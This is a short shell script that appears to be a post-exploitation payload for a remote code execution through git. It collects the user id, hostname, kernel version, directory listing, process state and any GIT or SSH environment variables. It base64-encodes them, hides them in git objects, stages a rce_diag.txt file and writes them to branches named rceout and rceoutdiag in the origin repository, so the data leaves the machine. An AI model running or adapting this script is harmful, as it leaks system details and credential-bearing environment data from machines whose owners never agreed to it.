 #!/bin/sh
 [ -f .rce_lk ] && exit 0
 touch .rce_lk 2>/dev/null
 P=$(git config --get remote.origin.url 2>/dev/null)
 H=$({ id; hostname; uname -a; echo PWD=$(pwd); echo ORIGIN=$P; ps -e -o stat=,comm= 2>/dev/null | awk '{print $1}' | sort | uniq -c | sort -rn | head -8; } 2>&1 | base64 | tr '/+' '_-' | git hash-object -w --stdin 2>&1)
 git -C "$P" update-ref refs/heads/rceout "$H" 2>/dev/null
 { id; hostname; uname -a; echo PWD=$(pwd); echo ORIGIN=$P; git --version; echo LS; ls -la; echo ENV; env | grep -iE '^(GIT|SSH)'; echo ZOMBIES; ps -e -o stat=,comm= 2>/dev/null | grep -c '^Z' ; echo PSCOUNT; ps -e 2>/dev/null | wc -l; } 2>&1 | base64 | tr '/+' '_-' > .rceout 2>/dev/null
 H2=$(git hash-object -w .rceout 2>&1)
 git update-index --add --cacheinfo 100644,$H2,rce_diag.txt 2>/dev/null
 git -C "$P" update-ref refs/heads/rceoutdiag "$H2" 2>/dev/null
 rm -f .rce_lk 2>/dev/null
